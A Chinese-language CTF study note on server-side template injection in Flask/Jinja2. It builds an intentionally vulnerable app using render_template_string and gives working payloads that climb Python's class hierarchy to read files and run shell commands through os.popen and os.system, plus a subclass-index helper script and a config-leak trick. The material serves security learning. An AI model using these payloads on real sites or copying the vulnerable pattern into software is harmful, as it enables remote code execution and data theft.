最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架、不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入的相关知识,也是对自己学习的一个记录。
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。优点就在于开发简单,代码量少,很多工作都在框架中被实现了。他与Django不同于Django是一个全能型框架,通常用于编写大型的网站。
而jinjia2、template、Mako等等都属于为框架提供功能支持的引擎,各有优缺点,也不是我们主要学习的内容。但我们要知道Flask默认使用的引擎为jinjia2,本文也会主要分析jinjia2中的注入问题。
首先配置flask与jinjia2引擎环境:
pip3 install flask
pip3 install jinjia2
这时使用python -c "import flask"
回显无报错信息,证明需要的环境已经安装完毕,下面从一个最简单的flask例子开始学起。
#flaskapp.py
from flask import *
from jinja2 import *
app = Flask(__name__) # 创建FLask类
@app.route("/") #设置的默认路由
def index(): #默认的视图函数,与路由绑定,用来处理用户访问网站跟目录/时的情况
name = request.args.get('name', 'guest')#接受参数名为name 的参数传入
html = '''
your input %s
'''%name #设置一个模板html,将name的值以%s输出
return render_template_string(html) #将html以字符串模板的形式渲染
#对应的,当html是一个文件时,使用render_template 函数来渲染一个指定的文件
if __name__=='__main__': #作为主文件启动时
app.run(debug = True) #以debug模式运行
通过对上面简单例子的注释解释,可以看出,一个完整简单的Flask框架,由一个或很多个路由(route)、绑定的视图函数组成,而视图函数则用来对用户访问的这个路由进行处理,包括接收参数、创建模板、渲染,等等操作,对我们来说,容易出现问题的就在于render渲染的过程中没有对用户的输入进行限制与过滤,导致恶意的代码被注入,执行了用户输入的代码。
当需要不断的修改代码时,建议开启debug模式,否则每次修改都需要重新启动py文件,比较麻烦,启动debug模式使用下面的语句。
app.debug = True
或者
app.run(debug=True)
上面这个例子运行后,会在localhost:5000
返回默认的页面,如图所示:
当传入参数name时,会被Template创建模板后渲染为页面展示的内容。
例如传入 name=AFCC_
下面我们将对jinjia2引擎中的语法进行介绍,并描述如果用户输入没有经过限制将会造成的危害。
在jinjia2引擎中:
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
我们在平常的测试中最常用的就是{{}}
,测试是否将花括号中的值是否可控且被模板渲染。
例如{{7*7}}
或{{7*'7'}}
,其返回分别为:
由此可见用户在{{}}
中的输入被引擎视为新的变量从而进行渲染,这时就满足了代码执行、输入可控的基本条件。
这里首先了解一下模板中的几个重要类和属性,便于后续调用指定的敏感模块。
首先是
__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
我们逐个测试一下返回的内容。
首先是__class__
,这里使用空字符串来做内容''
,传入{{''.__class__}}
返回了字符串对象,接着使用__mro__
或 __base__
获取字符串对象的基类。
这里可见__base__
返回的是当前类的直接继承类,而__mro__
则返回当前类继承的元组,包含了多个类。
所以我们选择直接继承类为object
的对象,使用{{[].__class__.__base__}}
,此时会直接返回object
。
我们在多个基类中选择object
类,可以看到该基类中有着很多子类。
我们想要使用的,有如下几个利用点:
一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息
通过索引找到file模块,使用read功能读取文件。
{{[].__class__.__base__.__subclasses__()[40]('flag.php').read()}}
这里的[60]
就是warnings.catch_warnings
[133]
就是socket._socketobject
,可以看到里面os都未导入。
在这里使用__builtins__
中的eval
函数导入os模块来执型命令。
{{[].__class__.__base__.__subclasses__()[157].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
在Linux中返回(Linux中157
是warnings.catch_warnings
)
通过查找,内置os直接可以使用的是如下两个模块。
[72]site._Printer
[77]site.Quitter
这里使用os.system
执行命令。
{{''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')}}
浏览器返回0,代表执行成功,但在调试信息中可以看到执行的结果
当然环境的差异也会使索引的值不一样,所以需要脚本帮助我们判断当前环境的索引值。
最方便的当然是直接使用已经有os模块的类来执行命令。
这里将获取的所有子类赋值给list,经过处理后找到需要的模块。
(脚本来自二算i)
def find():
list = ""
list = list.replace('\'','')
list = list.replace('<','')
list = list.replace('>','')
list = list.replace('class ','')
list = list.replace('enum ','')
list = list.replace('type ','')
list = list.replace(' ','')
list = list.split(',')
print(list)
className = 'warnings.catch_warnings' #需要查找的模块名称
num = list.index(className)
print(num) #返回索引
if __name__ == '__main__':
find()
使用{{get_flashed_messages.__globals__}}
获取全局信息,这里可以看到许多敏感信息,但这个函数名称也告诉我们只是可以获取信息而已,并不能像上面一样进行模块的利用和执行,这里代表这个app本身的值为current_app
使用config获取配置信息,当然这里的config可以直接获取,在某些时候被过滤时可以使用这种方式。(攻防世界Web_shrine)
get_flashed_messages.__globals__['current_app'].config
SSTI模板注入
python学习笔记(了解Flask、jinjia2引擎)
Flask模板注入
Flask-SSTI注意事项以及一些POC